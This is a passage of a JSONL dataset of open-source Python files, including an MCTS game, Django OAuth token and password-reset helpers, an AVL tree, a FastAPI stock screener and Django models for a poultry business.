center_mask, slice)\n tiler.update_crop(length_preds, length_mask, slice)\n # tiler.update_crop(conf_preds, conf_mask, slice)\n if output_dir:\n os.makedirs(os.path.join(output_dir, scene_id), exist_ok=True)\n np.save(os.path.join(output_dir, scene_id, \"center_preds\"), center_preds)\n np.save(os.path.join(output_dir, scene_id, \"vessel_preds\"), vessel_preds)\n np.save(os.path.join(output_dir, scene_id, \"fishing_preds\"), fishing_preds)\n np.save(os.path.join(output_dir, scene_id, \"length_preds\"), length_preds)\n gc.collect()\n return {\n \"center_mask\": center_preds,\n \"vessel_mask\": vessel_preds,\n \"fishing_mask\": fishing_preds,\n\n \"length_mask\": length_preds,\n }\n", "source": "selimsef/xview3_solution", "license": "Apache-2.0"}
+{"text": "import mcts\nfrom mcts import UCB, MCTS, TimeBudget\nimport math\nimport random\nimport os\nimport argparse\n\n\nclass TwentyOneReward(mcts.Reward):\n def __init__(self, reward, player_id):\n self.reward = reward\n self.player_id = player_id\n\n def apply(self, node):\n if self.player_id == node.state.player_id:\n node.accumulated_reward -= self.reward\n else:\n node.accumulated_reward += self.reward\n\n\nclass TwentyOneState(mcts.State):\n n_playouts = 10\n\n def __init__(self, player_id, cursor=1):\n self.player_id = player_id\n self.cursor = cursor\n\n def next_state(self, action):\n next_cursor = self.cursor + action\n next_player_id = 3 - self.player_id\n return TwentyOneState(next_player_id, next_cursor)\n\n def actions(self):\n limit = min(22 - self.cursor, 3)\n return list(range(1, limit+1))\n\n def is_terminal(self):\n return len(self.actions()) == 0\n\n def playout(self):\n n_playouts = self.__class__.n_playouts\n s0 = self\n r = 0.\n for _ in range(n_playouts):\n s = s0\n while not s.is_terminal():\n a = random.choice(s.actions())\n s = s.next_state(a)\n r += 1. if s.player_id == s0.player_id else -1.\n return TwentyOneReward(r/n_playouts, s0.player_id)\n\n\ndef count_tree_size(node):\n if len(node.children()) == 0:\n return 1\n else:\n count = 0\n for v in node.children():\n count += count_tree_size(v)\n return count+1\n\n\ndef count_tree_depth(node):\n if len(node.children()) == 0:\n return 1\n else:\n count = []\n for v in node.children():\n count.append(count_tree_depth(v))\n return max(count) + 1\n\n\ndef ucb_of_children(ucb, node):\n d = {}\n for v in node.children():\n d[v] = ucb.calc(node, v)\n return d\n\n\ndef children_info(ucb, node):\n d = ucb_of_children(ucb, node)\n xs = []\n for v in node.children():\n xs.append((v.action, v.average_reward(), d[v], v.n_visits))\n xs.sort()\n ys = list(\n map(lambda x: \"act:{} / R_ave:{:.2g} / ucb:{:.2g} / Nv:{}\".format(*x), xs))\n return os.linesep.join(ys)\n\n\ndef report_result(r):\n d = {}\n d[\"tree_size\"] = count_tree_size(r[\"head\"])\n d[\"tree_depth\"] = count_tree_depth(r[\"head\"])\n d[\"children_info\"] = children_info(r[\"ucb\"], r[\"head\"])\n d[\"elapsed_time\"] = r[\"budget\"].elapsed_time()\n return os.linesep.join([\"tree_size : {} / tree_depth : {} / elapsed : {:.2g} secs\".format(d[\"tree_size\"], d[\"tree_depth\"], d[\"elapsed_time\"]),\n d[\"children_info\"]])\n\n\ndef get_number(message):\n return int(input(message))\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"21 game with MCTS AI\")\n parser.add_argument('--verbose', action='store_true',\n help=\"report evidences of AI behaviors\")\n parser.add_argument('--time_limit', action='store',\n default=3, type=float, help=\"time of computing\")\n parser.add_argument('--exploration_constant', action='store',\n default=0.1, type=float, help='UCB\\'s exploration factor')\n parser.add_argument('--n_playouts', action='store',\n default=5, type=int, help=\"number of playouts\")\n args = parser.parse_args()\n TwentyOneState.n_playouts = args.n_playouts\n\n def scaler(x): return 0.5 * (x + 1)\n ucb = UCB(args.exploration_constant, scaler)\n solver = MCTS(ucb)\n human_id = get_number(\"select your player_id (1,2)>\")\n assert(human_id in [1, 2])\n com_id = 3 - human_id\n s = TwentyOneState(1, cursor=1)\n while not s.is_terminal():\n print(\"current starting number:{}\".format(s.cursor))\n print(\"player{}'s turn\".format(s.player_id))\n if s.player_id == human_id:\n actions = s.actions()\n actions_str = \",\".join(map(str, actions))\n c = get_number(\"take action ({})>\".format(actions_str))\n assert(c in actions)\n a = c\n else:\n assert(s.player_id == com_id)\n r = solver.search(s, TimeBudget(args.time_limit))\n if args.verbose:\n print(report_result(r))\n a = r[\"best_action\"]\n print(\"player{}'s action: take {} steps\".format(s.player_id, a))\n s = s.next_state(a)\n if s.player_id == com_id:\n print(\"you lose\")\n else:\n print(\"you win\")\n\n\nif __name__ == \"__main__\":\n main()\n", "source": "kitsune-udon/mcts", "license": "MIT"}
+{"text": "from ariadne import MutationType\nfrom datetime import datetime as dt\nfrom models.user import User\nfrom schemas.helpers.normalize import change_keys\nfrom schemas.user import UserCreate\n\n\nmutations_resolvers = MutationType()\n\n\n@mutations_resolvers.field(\"userCreate\")\nasync def resolve_user_create(parent, info, user) -> dict:\n store_data = User.get_instance()\n data = UserCreate(**user)\n normalize = change_keys(data.dict(exclude_none=True), key=\"_key\")\n\n return await store_data.create(normalize)\n", "source": "apoveda25/graphql-python-server", "license": "Apache-2.0"}
+{"text": "from django.forms import ModelForm\nfrom cyder.cydns.soa.models import SOA\n\n\nclass SOAForm(ModelForm):\n class Meta:\n model = SOA\n exclude = ('serial', 'dirty',)\n", "source": "ngokevin/chili", "license": "BSD-3-Clause"}
+{"text": "\"\"\"\nCreated: 5 Mar. 2020\nAuthor: Jordan Prechac\n\"\"\"\n\nfrom django.db.models.query import QuerySet\nfrom django.contrib.auth import authenticate\nfrom django.contrib.auth.password_validation import validate_password\nfrom django.utils import timezone\nfrom oauth2_provider.models import Application, AccessToken, RefreshToken\nfrom oauthlib import common\n\nimport datetime\nimport gc\nimport random\nimport string\n\nfrom revibe._errors.accounts import AccountNotFound\nfrom revibe._helpers import const\nfrom revibe.contrib.email import EmailConfiguration\nfrom revibe.utils.params import get_request_header\n\nfrom accounts.exceptions import PasswordValidationError, AuthError\nfrom accounts.models import CustomUser, Profile\nfrom administration.utils import retrieve_variable\n\n# -----------------------------------------------------------------------------\n\ndef generate_scopes(user, application: Application, return_as_string: bool =True, add_artist: bool=False):\n scopes = []\n\n if 'revibe' in application.name.lower():\n scopes.append('first-party')\n\n if application.name == 'Revibe Music':\n scopes.append('music')\n\n if application.name == 'Revibe Artists' or add_artist:\n scopes.append('artist')\n\n if user.is_staff:\n scopes.append('ADMIN')\n\n if return_as_string:\n return \" \".join(scopes)\n else:\n return scopes\n\n\ndef generate_tokens(user: CustomUser, request, use_default_app: bool =False, delete_old_tokens: bool=False, add_artist: bool=False, *args, **kwargs):\n \"\"\"\n\n\n Steps:\n 1. Get the app header and the corresponding Application\n 2. Get the extra info for the tokens\n 3. Create an Access Token\n 4. Create a Refresh Token\n 5. Delete old tokens (conditional)\n \"\"\"\n # Step 1.\n app_header_name = \"HTTP_X_APPNAME\" # X-AppName\n app_name = get_request_header(request, app_header_name)\n if app_name == None:\n if use_default_app:\n app_name = \"first_party_application\"\n else:\n raise AuthError(\"No application header found\")\n\n app_name = app_name.replace(\"_\", \" \").lower()\n application = Application.objects.filter(name__icontains=app_name).first()\n\n # Step 2.\n app_name = application.name\n app_name_formatted = app_name.replace(\" \", \"_\").upper()\n time = getattr(const, f\"{app_name_formatted}_EXPIRY_TIME\")\n expire = timezone.now() + datetime.timedelta(hours=time)\n\n # Step 3.\n access_token = AccessToken(\n user=user,\n expires=expire,\n token=common.generate_token(),\n application=application,\n scope=generate_scopes(user, application, add_artist=add_artist)\n )\n access_token.save()\n\n # Step 4.\n refresh_token = RefreshToken(\n user=user,\n token=common.generate_token(),\n application=application,\n access_token=access_token\n )\n refresh_token.save()\n\n access_token.source_refresh_token = refresh_token\n access_token.save()\n\n # Step 5.\n if delete_old_tokens:\n deleting_tokens = AccessToken.objects.filter(user=user, application=application).exclude(token=access_token.token)\n deleting_tokens.delete()\n\n deleting_tokens = RefreshToken.objects.filter(user=user, application=application).exclude(token=refresh_token.token)\n deleting_tokens.delete()\n\n return access_token, refresh_token\n\n\ndef refresh_access_token(refresh_token_token):\n \"\"\"\n\n\n Steps:\n 1. Get the Refresh Token\n 2. Configure new things for the access token\n 3. Save fields to the access token\n \"\"\"\n # step 1.\n try:\n refresh_token = RefreshToken.objects.get(token=refresh_token_token)\n except RefreshToken.DoesNotExist:\n raise AuthError(\"Cannot find Refresh Token\")\n\n # step 2.\n new_token = common.generate_token()\n time = getattr(const, f\"{refresh_token.application.name.replace(' ','_').upper()}_EXPIRY_TIME\")\n expire = timezone.now() + datetime.timedelta(hours=time)\n\n # step 3.\n access_token = refresh_token.access_token\n access_token.token = new_token\n access_token.expires = expire\n access_token.save()\n\n return access_token\n\n\n\ndef change_password(user, old_password, new_password, confirm_new_password):\n \"\"\"\n \"\"\"\n # reauthenticate the user to validate the old_password\n user_check = authenticate(username=str(user.username), password=old_password)\n if user_check == None or user_check != user:\n raise AccountNotFound(\"Old password is not correct\")\n\n del user_check\n gc.collect()\n\n # ensure that the new passwords match\n if new_password != confirm_new_password:\n raise PasswordValidationError(\"Passwords do not match\")\n\n # set the new password\n user.set_password(new_password)\n user.force_change_password = False\n user.save()\n\n\ndef get_user_by_username_or_email(email=None, username=None):\n \"\"\"\n \"\"\"\n if username != None:\n user = CustomUser.objects.get(username=username)\n return user\n\n elif email != None:\n profile = Profile.objects.get(email=email)\n return profile.user\n \n return None\n\n\ndef reset_password(email=None, username=None, user=None):\n \"\"\"\n \"\"\"\n if user:\n if isinstance(user, QuerySet):\n user = user.first()\n else:\n # get the user by email/username\n user = get_user_by_username_or_email(email, username)\n if user == None:\n raise AccountNotFound(\"Could not find this user\")\n\n # generate temp password\n password_length = retrieve_variable('temporary-password-length', 20, output_type=int)\n letters = string.ascii_letters + string.digits\n temp_password = ''.join(random.choice(letters) for i in range(password_length))\n\n # set temp password\n user.set_password(temp_password)\n user.force_change_password = True\n user.save()\n\n # send email with temp password\n email = EmailConfiguration(user, [user.profile.email,], 'reset_password', temp_password=temp_password)\n email.send_email()\n\n return user.profile.email\n\n\n\n", "source": "Revibe-Music/core-services", "license": "MIT"}
+{"text": "import os\n\nfrom A_MIA_R3_Core.Graphproc import Graphmod\n\n\nclass Graph_Process:\n def __path_cutext2(self,pathkun):\n pathkun22, extkun = os.path.splitext(os.path.basename(pathkun))\n return pathkun22\n def __init__(self,filename):\n self.filename=filename\n self.path_ONLY=self.__path_cutext2(filename)\n def process(self,Facearray):\n Instance2_graph = Graphmod.DrawGraphs(self.path_ONLY)\n return Instance2_graph.DrawEmotion(Facearray)\n\n", "source": "nao0423/A_MIA_R3", "license": "MIT"}
+{"text": "#!/usr/bin/env python3\nimport sys\nimport random\nfrom lib import *\n\nseed(sys.argv[-1])\n\nn = int(sys.argv[1])\n\ngraph = random_tree_uniform(n)\noutput_graph(n, with_random_weights(graph))\n\n", "source": "Shahraaz/CP_P_S5", "license": "MIT"}
+{"text": "from PicoAutonomousRobotics import KitronikPicoRobotBuggy\nbuggy = KitronikPicoRobotBuggy()\n\nbuggy.setLED(0, buggy.WHITE)\nbuggy.setLED(1, buggy.WHITE)\nbuggy.setLED(2, buggy.RED)\nbuggy.setLED(3, buggy.RED)\nbuggy.show()\n", "source": "aldavhu221/aldavhu221", "license": "MIT"}
+{"text": "# BST -- AVL Tree\nimport sys, os\nsys.path.append(os.path.dirname(sys.path[0]))\nfrom computGeometry import planeSweepMeshes\n\nclass new_node:\n def __init__(self,key):\n self.key=key\n self.parent=None\n self.left=None\n self.right=None\n self.height=0\n self.skew=0\n \n def __str__(self):\n return str(self.key)\n\ndef find(node,k,point,direction='down'):\n \"\"\"k is a line segment here. The order relation requires a point as reference.\"\"\"\n if node.key: # Not empty\n if node.key is k:\n return node\n else:\n isLess,isGreater,isEqual=planeSweepMeshes.myOrder(node.key,k,point,direction)\n if (isGreater or isEqual) and node.left:\n return find(node.left,k,point,direction)\n elif isLess and node.right:\n return find(node.right,k,point,direction)\n return None\n\ndef find_min(node):\n while node.left: node=node.left\n return node\n\ndef find_max(node):\n while node.right: node=node.right\n return node\n\ndef traversal(node): # In-order\n \"\"\"Generator function that returns the sorted list of all nodes.\"\"\"\n if node.left: yield from traversal(node.left)\n yield node\n if node.right: yield from traversal(node.right)\n\ndef is_right_child(node):\n return node.parent and (node.parent.right is node)\n\ndef is_left_child(node):\n return node.parent and (node.parent.left is node)\n\ndef successor(node):\n if node.right: return find_min(node.right)\n while is_right_child(node): node=node.parent\n return node.parent\n\ndef predecessor(node):\n if node.left: return find_max(node.left)\n while is_left_child(node): node=node.parent\n return node.parent\n\ndef update(node):\n left_height=node.left.height if node.left else -1\n right_height=node.right.height if node.right else -1\n\n node.height=1+max(left_height,right_height)\n node.skew=right_height-left_height\n\ndef maintain(node):\n update(node)\n balance(node)\n if node.parent:\n maintain(node.parent)\n\ndef balance(node):\n if node.skew==2:\n if node.right.skew==-1:\n right_rotate(node.right)\n left_rotate(node)\n if node.skew==-2:\n if node.left.skew==1:\n left_rotate(node.left)\n right_rotate(node)\n\ndef left_rotate(node):\n tempNode=new_node(node.key)\n\n tempNode.left=node.left\n if node.left: node.left.parent=tempNode\n tempNode.right=node.right.left\n if node.right.left: node.right.left.parent=tempNode\n tempNode.parent=node\n\n node.key=node.right.key\n if node.right.right: node.right.right.parent=node\n node.right=node.right.right\n node.left=tempNode\n\n update(tempNode)\n update(node)\n\ndef right_rotate(node):\n tempNode=new_node(node.key)\n\n tempNode.left=node.left.right\n if node.left.right: node.left.right.parent=tempNode\n tempNode.right=node.right\n if node.right: node.right.parent=tempNode\n tempNode.parent=node\n\n node.key=node.left.key\n node.right=tempNode\n if node.left.left: node.left.left.parent=node\n node.left=node.left.left\n\n update(tempNode)\n update(node)\n\ndef insert(node,k,point): # Empty tree is allowed.\n if node.key:\n _,isGreater,isEqual=planeSweepMeshes.myOrder(node.key,k,point)\n\n if isGreater or isEqual:\n if node.left:\n insert(node.left,k,point)\n else:\n node.left=new_node(k)\n node.left.parent=node\n maintain(node)\n else:\n if node.right:\n insert(node.right,k,point)\n else:\n node.right=new_node(k)\n node.right.parent=node\n maintain(node)\n else:\n node.key=k\n\ndef delete(node):\n if node.left and node.right:\n succ=find_min(node.right)\n node.key=succ.key\n delete(succ)\n\n elif node.left: \n node.key=node.left.key\n node.right=node.left.right\n node.left=node.left.left\n \n if node.left: node.left.parent=node\n if node.right: node.right.parent=node\n maintain(node)\n\n elif node.right:\n node.key=node.right.key\n node.left=node.right.left\n node.right=node.right.right\n\n if node.left: node.left.parent=node\n if node.right: node.right.parent=node\n maintain(node)\n\n else:\n if node.parent and is_left_child(node):\n node.parent.left=None\n maintain(node.parent)\n elif node.parent and is_right_child(node) :\n node.parent.right=None\n maintain(node.parent)\n else:\n node.key=None # Delete the root.\n maintain(node)\n\ndef checkBST(node,point):\n node1=find_min(node)\n node2=successor(node1)\n\n while node1 and node2:\n isLess,_,_=planeSweepMeshes.myOrder(node1.key,node2.key,point)\n if not isLess:\n isLess,_,_=planeSweepMeshes.myOrder(node1.key,node2.key,point)\n\n node1=node2\n node2=successor(node1)\n\nif __name__=='__main__':\n pass\n ", "source": "junbinhuang/mofem", "license": "MIT"}
+{"text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\ndef parameter(*size: int) -> nn.Parameter:\n return nn.Parameter(torch.zeros(*size), requires_grad=True)\n\n\ndef positive(tensor: torch.Tensor) -> torch.Tensor:\n return F.softplus(tensor) # ReLU + eps \u3068\u304b\u3060\u3068\u3046\u307e\u304f\u3044\u304b\u306a\u3044 (\u304a\u305d\u3089\u304f\u52fe\u914d\u6d88\u5931\u306e\u305b\u3044)\n", "source": "naktazdim/irtorch", "license": "MIT"}
+{"text": "import models\nimport yfinance\nfrom fastapi import FastAPI, Request, Depends, BackgroundTasks\nfrom fastapi.templating import Jinja2Templates\nfrom database import SessionLocal, engine\nfrom pydantic import BaseModel\nfrom models import Stock\nfrom sqlalchemy.orm import Session\n\napp = FastAPI()\n\nmodels.Base.metadata.create_all(bind=engine)\n\ntemplates = Jinja2Templates(directory=\"templates\")\n\nclass StockRequest(BaseModel):\n symbol: str\n\n\ndef get_db():\n try:\n db = SessionLocal()\n yield db\n finally:\n db.close()\n\n@app.get('/')\ndef home(request: Request, symbol = None, forward_pe=None, sector=None, order=None, db: Session = Depends(get_db)):\n \"\"\"\n Show all stocks in the database.\n Filters by symbol, p/e and sector if provided.\n \"\"\"\n stocks = db.query(Stock)\n\n if symbol:\n stocks = stocks.filter(Stock.symbol == symbol)\n\n if forward_pe:\n stocks = stocks.filter(Stock.forward_pe > forward_pe)\n\n if sector:\n stocks = stocks.filter(Stock.sector == sector)\n\n if (order is None) or (order == 'Market Cap'):\n stocks = stocks.order_by(Stock.marketcap.desc()).all()\n elif order == 'Country':\n stocks = stocks.order_by(Stock.country).all()\n elif order == 'Sector':\n stocks = stocks.order_by(Stock.sector).all()\n elif order == 'P/E':\n stocks = stocks.order_by(Stock.forward_pe.desc()).all()\n elif order == 'Volume':\n stocks = stocks.order_by(Stock.volume.desc()).all()\n\n return templates.TemplateResponse(\"home.html\", {\n \"request\": request,\n \"stocks\": stocks,\n \"symbol\": symbol\n })\n\n\ndef fetch_stock_data(symbol: str):\n \"\"\"\n Background task to use yfinance and load key statistics\n \"\"\"\n db = SessionLocal()\n\n stock = db.query(Stock).filter(Stock.symbol == symbol).first()\n\n yahoo_data = yfinance.Ticker(stock.symbol)\n\n if (stock.symbol is None) or (stock.symbol == \"\") or (yahoo_data.info['regularMarketPrice'] is None):\n db.delete(stock)\n db.commit()\n return None\n\n stock.name = yahoo_data.info['shortName']\n try:\n stock.country = yahoo_data.info['country']\n except KeyError:\n stock.country = None\n try:\n stock.sector = yahoo_data.info['sector']\n except KeyError:\n stock.sector = None\n stock.ma200 = yahoo_data.info['twoHundredDayAverage']\n stock.ma50 = yahoo_data.info['fiftyDayAverage']\n stock.price = yahoo_data.info['previousClose']\n stock.forward_pe = yahoo_data.info['forwardPE']\n stock.marketcap = yahoo_data.info['marketCap']\n stock.volume = yahoo_data.info['volume']\n\n db.add(stock)\n db.commit()\n\n\n@app.post(\"/stock\")\nasync def create_stock(stock_request: StockRequest, db: Session = Depends(get_db)):\n \"\"\"\n Add one or more tickers to the database\n \"\"\"\n stock = Stock()\n stock.symbol = stock_request.symbol\n\n if stock.symbol is None or stock.symbol == \"\":\n return None\n\n db.add(stock)\n db.commit()\n\n return {\n \"code\": \"success\",\n \"message\": \"stock was added to the database\"\n }\n\n\n@app.post(\"/fetchall\")\nasync def fetchall(stock_request: StockRequest, background_tasks: BackgroundTasks):\n \"\"\"\n Get yfinance for update all symbols\n \"\"\"\n stock = Stock()\n stock.symbol = stock_request.symbol\n\n if stock.symbol is None or stock.symbol == \"\":\n return None\n\n background_tasks.add_task(fetch_stock_data, stock.symbol)\n\n return {\n \"code\": \"success\",\n \"message\": \"fetch all stocks\"\n }\n", "source": "leogregianin/stocks", "license": "MIT"}
+{"text": "\nimport numpy as np\n\ndef unflatten(w, weights):\n sizes = [x.size for x in weights]\n split_idx = np.cumsum(sizes)\n update_ravelled = np.split(w, split_idx)[:-1]\n shapes = [x.shape for x in weights]\n update_list = [np.reshape(u, s) for s, u in zip(shapes, update_ravelled)]\n return update_list\n\ndef flatten_update(update):\n return np.concatenate([x.ravel() for x in update])", "source": "pps-lab/rofl-project-code", "license": "MIT"}
+{"text": "import itertools\n\nimport pandas as pd\n\nfrom vivarium_conic_vitamin_a_supp_gbd2019.constants import models\n\n#################################\n# Results columns and variables #\n#################################\n\nTOTAL_POPULATION_COLUMN = 'total_population'\nTOTAL_YLDS_COLUMN = 'years_lived_with_disability'\nTOTAL_YLLS_COLUMN = 'years_of_life_lost'\n\n# Columns from parallel runs\nINPUT_DRAW_COLUMN = 'input_draw'\nRANDOM_SEED_COLUMN = 'random_seed'\nOUTPUT_SCENARIO_COLUMN = 'screening_algorithm.scenario'\n\nSTANDARD_COLUMNS = {\n 'total_population': TOTAL_POPULATION_COLUMN,\n 'total_ylls': TOTAL_YLLS_COLUMN,\n 'total_ylds': TOTAL_YLDS_COLUMN,\n}\n\nTHROWAWAY_COLUMNS = [f'{state}_event_count' for state in models.STATES]\n\nTOTAL_POPULATION_COLUMN_TEMPLATE = 'total_population_{POP_STATE}'\nPERSON_TIME_COLUMN_TEMPLATE = 'person_time_in_{YEAR}_among_{SEX}_in_age_group_{AGE_GROUP}'\nDEATH_COLUMN_TEMPLATE = 'death_due_to_{CAUSE_OF_DEATH}_in_{YEAR}_among_{SEX}_in_age_group_{AGE_GROUP}'\nYLLS_COLUMN_TEMPLATE = 'ylls_due_to_{CAUSE_OF_DEATH}_in_{YEAR}_among_{SEX}_in_age_group_{AGE_GROUP}'\nYLDS_COLUMN_TEMPLATE = 'ylds_due_to_{CAUSE_OF_DISABILITY}_in_{YEAR}_among_{SEX}_in_age_group_{AGE_GROUP}'\nSTATE_PERSON_TIME_COLUMN_TEMPLATE = '{STATE}_person_time_in_{YEAR}_among_{SEX}_in_age_group_{AGE_GROUP}'\nTRANSITION_COUNT_COLUMN_TEMPLATE = '{TRANSITION}_event_count_in_{YEAR}_among_{SEX}_in_age_group_{AGE_GROUP}'\n\nCOLUMN_TEMPLATES = {\n 'population': TOTAL_POPULATION_COLUMN_TEMPLATE,\n 'person_time': PERSON_TIME_COLUMN_TEMPLATE,\n 'deaths': DEATH_COLUMN_TEMPLATE,\n 'ylls': YLLS_COLUMN_TEMPLATE,\n 'ylds': YLDS_COLUMN_TEMPLATE,\n 'state_person_time': STATE_PERSON_TIME_COLUMN_TEMPLATE,\n 'transition_count': TRANSITION_COUNT_COLUMN_TEMPLATE,\n}\n\nNON_COUNT_TEMPLATES = [\n]\n\nPOP_STATES = ('living', 'dead', 'tracked', 'untracked')\nSEXES = ('male', 'female')\n# TODO - add literals for years in the model\nYEARS = ()\n# TODO - add literals for ages in the model\nAGE_GROUPS = ()\n# TODO - add causes of death\nCAUSES_OF_DEATH = (\n 'other_causes',\n # models.FIRST_STATE_NAME,\n)\n# TODO - add causes of disability\nCAUSES_OF_DISABILITY = (\n # models.FIRST_STATE_NAME,\n # models.SECOND_STATE_NAME,\n)\n\nTEMPLATE_FIELD_MAP = {\n 'POP_STATE': POP_STATES,\n 'YEAR': YEARS,\n 'SEX': SEXES,\n 'AGE_GROUP': AGE_GROUPS,\n 'CAUSE_OF_DEATH': CAUSES_OF_DEATH,\n 'CAUSE_OF_DISABILITY': CAUSES_OF_DISABILITY,\n 'STATE': models.STATES,\n 'TRANSITION': models.TRANSITIONS,\n}\n\n\ndef RESULT_COLUMNS(kind='all'):\n if kind not in COLUMN_TEMPLATES and kind != 'all':\n raise ValueError(f'Unknown result column type {kind}')\n columns = []\n if kind == 'all':\n for k in COLUMN_TEMPLATES:\n columns += RESULT_COLUMNS(k)\n columns = list(STANDARD_COLUMNS.values()) + columns\n else:\n template = COLUMN_TEMPLATES[kind]\n filtered_field_map = {field: values\n for field, values in TEMPLATE_FIELD_MAP.items() if f'{{{field}}}' in template}\n fields, value_groups = filtered_field_map.keys(), itertools.product(*filtered_field_map.values())\n for value_group in value_groups:\n columns.append(template.format(**{field: value for field, value in zip(fields, value_group)}))\n return columns\n\n\ndef RESULTS_MAP(kind):\n if kind not in COLUMN_TEMPLATES:\n raise ValueError(f'Unknown result column type {kind}')\n columns = []\n template = COLUMN_TEMPLATES[kind]\n filtered_field_map = {field: values\n for field, values in TEMPLATE_FIELD_MAP.items() if f'{{{field}}}' in template}\n fields, value_groups = list(filtered_field_map.keys()), list(itertools.product(*filtered_field_map.values()))\n for value_group in value_groups:\n columns.append(template.format(**{field: value for field, value in zip(fields, value_group)}))\n df = pd.DataFrame(value_groups, columns=map(lambda x: x.lower(), fields))\n df['key'] = columns\n df['measure'] = kind # per researcher feedback, this column is useful, even when it's identical for all rows\n return df.set_index('key').sort_index()\n\n", "source": "ihmeuw/vivarium_conic_vitamin_a_supp_gbd2019", "license": "BSD-3-Clause"}
+{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nGeneric data containers\n\nCreated on Thu Jul 7 10:31:43 2016\n\n@author: chc\n\"\"\"\n\nimport numpy as _np\n\nclass Data:\n \"\"\"\n Contains the underlying data to be plotted\n \n Attributes\n ----------\n x : ndarray (1D)\n x-data (effectively, the horizontal axis data)\n \n y : ndarray (1D)\n y-data (effectively, the vertical axis data)\n \n label : str\n Label information, i.e., the name of the plot, graph, etc.\n \n style_dict : dict\n Style information (e.g., color, linewidth, etc)\n \n mplobj : object\n Object returned from the MPL plotting procedure.\n \"\"\"\n def __init__(self):\n self._setupData()\n\n def _setupData(self):\n self.x = None\n self.y = None\n self.id = None\n self.label = None\n self.mplobj = None\n #self.units = {'x_units': None, 'y_units': None}\n self.style_dict = {}\n self.meta = {}\n\n @property\n def model_style(self):\n out = {}\n out.update(self.style_dict)\n out['label'] = self.label\n out['id'] = self.id\n out['meta'] = self.meta\n return out\n\nclass Data2D(Data):\n \"\"\"\n Contains the underlying data to be imaged\n \"\"\"\n def __init__(self):\n self._setupData()\n self.img = None\n\n @property\n def extent(self):\n \"\"\"\n Generate an extent list used for mpl.imshow\n [xmin, xmax, ymin, ymax]\n \"\"\"\n ext = [None, None, None, None]\n\n if self.x is not None:\n ext[0] = self.x.min()\n ext[1] = self.x.max()\n else:\n ext[0] = 0\n ext[1] = self.img.shape[1]\n\n if self.y is not None:\n ext[2] = self.y.min()\n ext[3] = self.y.max()\n else:\n ext[2] = 0\n ext[3] = self.img.shape[0]\n\n return ext\n\nclass DataGlobal:\n \"\"\"\n Contains data that is pertinent across all plots\n \"\"\"\n def __init__(self):\n self.labels = {'x_label': None, 'y_label': None, 'title': None}\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"}
+{"text": "# -*- coding: utf-8 -*-\n#########################################################################\n#\n# Copyright (C) 2020: TelelBirds\n#\n#\n#########################################################################\nfrom __future__ import unicode_literals\nimport os\nimport datetime\nfrom django.core.validators import MaxValueValidator, MinValueValidator\n\nfrom django.db import models\nfrom django.db.models import ImageField\nfrom django.utils.safestring import mark_safe\nfrom django.template.defaultfilters import truncatechars, slugify # or truncatewords\nfrom django.contrib.gis.db import models as gismodels\n\nfrom imagekit.models import ProcessedImageField\nfrom imagekit.processors import ResizeToFit\n\nfrom telelbirds import settings\nfrom apps.breeders.models import Breeders, Breed\n\n\nclass Customer(models.Model):\n \"\"\"\n Customer Model\n \"\"\"\n id = models.AutoField(primary_key=True)\n first_name=models.CharField(null=True,blank=True,max_length=50)\n last_name=models.CharField(null=True,blank=True,max_length=50)\n full_name=models.CharField(null=True,blank=True,max_length=50)\n photo = ProcessedImageField(upload_to='customer_photos',null=True,blank=True, processors=[ResizeToFit(1280)], format='JPEG', options={'quality': 70})\n email=models.EmailField(null=True,blank=True,max_length=50)\n phone=models.CharField(null=True,blank=True,max_length=15)\n address=models.CharField(null=True,blank=True,max_length=50)\n location=gismodels.PointField(\n srid=4326, \n null=True, \n spatial_index=True, \n geography=True, \n blank=True) # Point\n latitude = models.FloatField(null=True,blank=True)\n longitude = models.FloatField(null=True,blank=True)\n customertype=models.CharField(null=True,blank=True,max_length=50)\n notification_sms=models.BooleanField(null=True,blank=True,max_length=50)\n notification_sms=models.BooleanField(null=True,blank=True,max_length=50)\n delivery=models.BooleanField(null=True,blank=True,max_length=50) \n followup=models.BooleanField(null=True,blank=True,max_length=50)\n created = models.DateTimeField(auto_now_add=True)\n\n class Meta:\n ordering = ['created']\n db_table = \"customers\"\n verbose_name = 'Customer'\n verbose_name_plural = \"Customers\"\n managed = True\n\n def save(self, *args, **kwargs):\n self.full_name = self.first_name + \" \" + self.last_name\n super(Customer, self).save(*args, **kwargs)\n\n def __str__(self):\n return self.last_name + \", \" + self.first_name\n \n def get_absolute_url(self):\n return '/customer/{}'.format(self.full_name)\n\n\nclass Eggs(models.Model):\n \"\"\"\n Eggs Model\n \"\"\"\n id = models.AutoField(primary_key=True)\n batchnumber = models.CharField(null=True,blank=True,max_length=50) \n customer=models.ForeignKey(Customer,\n related_name=\"eggs_customer\", blank=True, null=True,\n on_delete=models.SET_NULL)\n breed=models.ForeignKey(Breed,\n related_name=\"eggs_breed\", blank=True, null=True,\n on_delete=models.SET_NULL)\n customercode = models.CharField(null=True,blank=True,max_length=50)\n photo = ProcessedImageField(upload_to='eggs_photos',null=True,blank=True, processors=[ResizeToFit(1280)], format='JPEG', options={'quality': 70})\n brought = models.IntegerField(null=True,blank=True)\n returned = models.IntegerField(null=True,blank=True)\n received=models.IntegerField(null=True,blank=True,max_length=50) \n created = models.DateTimeField(auto_now_add=True)\n\n class Meta:\n ordering = ['created']\n db_table = \"eggs\"\n verbose_name = 'Egg'\n verbose_name_plural = \"Eggs\"\n managed = True\n\n def save(self, *args, **kwargs):\n self.received = self.brought - self.returned\n super(Eggs, self).save(*args, **kwargs)\n\n def __str__(self):\n return self.batchnumber\n \n def get_absolute_url(self):\n return '/customer_eggs/{}'.format(self.batchnumber)\n\n\nclass CustomerRequest(models.Model):\n \"\"\"\n CustomerRequest Model\n \"\"\"\n id = models.AutoField(primary_key=True)\n requestcode=models.CharField(null=True,blank=True,max_length=50)\n eggs=models.ForeignKey(Eggs,\n related_name=\"customerrequest_eggs\", blank=True, null=True,\n on_delete=models.SET_NULL) \n created = models.DateTimeField(auto_now_add=True)\n\n class Meta:\n ordering = ['created']\n db_table = \"CustomerRequests\"\n verbose_name = 'CustomerRequest'\n verbose_name_plural = \"CustomerRequests\"\n managed = True\n \n def get_absolute_url(self):\n return '/customer_request/{}'.format(self.requestcode)", "source": "kngeno/telelbirds", "license": "MIT"}
